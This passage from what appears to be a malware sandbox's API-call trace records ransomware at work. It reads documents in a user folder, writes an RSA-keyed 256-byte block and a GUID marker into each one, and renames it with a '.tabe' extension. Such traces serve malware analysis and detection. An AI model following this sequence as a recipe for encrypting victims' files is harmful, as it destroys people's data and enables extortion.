KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.678] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.679] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.679] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.679] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.679] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.679] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.679] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.679] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.679] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.679] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.679] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.680] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13958, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.680] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.680] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.680] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.680] CloseHandle (hObject=0x618) returned 1 [0127.681] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\1pQDqag5Bl4.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\1pqdqag5bl4.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\1pQDqag5Bl4.ods.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\1pqdqag5bl4.ods.tabe")) returned 1 [0127.682] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x592a3f20, ftCreationTime.dwHighDateTime=0x1d5d9d5, ftLastAccessTime.dwLowDateTime=0x923723d0, ftLastAccessTime.dwHighDateTime=0x1d5e300, ftLastWriteTime.dwLowDateTime=0x923723d0, ftLastWriteTime.dwHighDateTime=0x1d5e300, nFileSizeHigh=0x0, nFileSizeLow=0x16c3e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="7jmxLbUi5416CG0.pptx", cAlternateFileName="7JMXLB~1.PPT")) returned 1 [0127.682] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\7jmxLbUi5416CG0.pptx") returned=".pptx" [0127.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\7jmxLbUi5416CG0.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\7jmxlbui5416cg0.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.683] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=93246) returned 1 [0127.683] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.684] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16c18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.684] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.686] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x16c3e, lpOverlapped=0x0) returned 1 [0127.687] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.687] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.687] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.687] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.688] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.688] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.688] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.688] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.688] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.688] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.688] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.688] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.688] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.688] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.689] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16c3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.689] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.689] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.689] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.689] CloseHandle (hObject=0x618) returned 1 [0127.690] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\7jmxLbUi5416CG0.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\7jmxlbui5416cg0.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\7jmxLbUi5416CG0.pptx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\7jmxlbui5416cg0.pptx.tabe")) returned 1 [0127.692] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6993efa0, ftCreationTime.dwHighDateTime=0x1d5d84a, ftLastAccessTime.dwLowDateTime=0x508196c0, ftLastAccessTime.dwHighDateTime=0x1d5df52, ftLastWriteTime.dwLowDateTime=0x508196c0, ftLastWriteTime.dwHighDateTime=0x1d5df52, nFileSizeHigh=0x0, nFileSizeLow=0x16392, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="FBis.odp", cAlternateFileName="")) returned 1 [0127.692] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\FBis.odp") returned=".odp" [0127.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\FBis.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\fbis.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.695] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=91026) returned 1 [0127.695] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.696] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1636c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.696] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.699] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x16392, lpOverlapped=0x0) returned 1 [0127.706] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.706] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.706] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.706] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.707] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.707] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.707] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.707] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.707] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.707] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.707] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.707] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.707] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.707] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.708] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16392, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.708] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.708] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.708] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.708] CloseHandle (hObject=0x618) returned 1 [0127.709] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\FBis.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\fbis.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\FBis.odp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\fbis.odp.tabe")) returned 1 [0127.711] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1271dd40, ftCreationTime.dwHighDateTime=0x1d5e4c5, ftLastAccessTime.dwLowDateTime=0xcc62cf80, ftLastAccessTime.dwHighDateTime=0x1d5e708, ftLastWriteTime.dwLowDateTime=0xcc62cf80, ftLastWriteTime.dwHighDateTime=0x1d5e708, nFileSizeHigh=0x0, nFileSizeLow=0xc570, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="HkR58LK.doc", cAlternateFileName="")) returned 1 [0127.711] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\HkR58LK.doc") returned=".doc" [0127.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\HkR58LK.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\hkr58lk.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.711] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=50544) returned 1 [0127.711] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.712] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc54a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.712] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.714] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xc570, lpOverlapped=0x0) returned 1 [0127.715] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.715] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.715] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.715] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.716] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.716] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.716] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.716] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.716] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.716] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.716] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.716] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.716] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.716] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.716] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc570, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.716] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.717] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.717] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.717] CloseHandle (hObject=0x618) returned 1 [0127.718] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\HkR58LK.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\hkr58lk.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 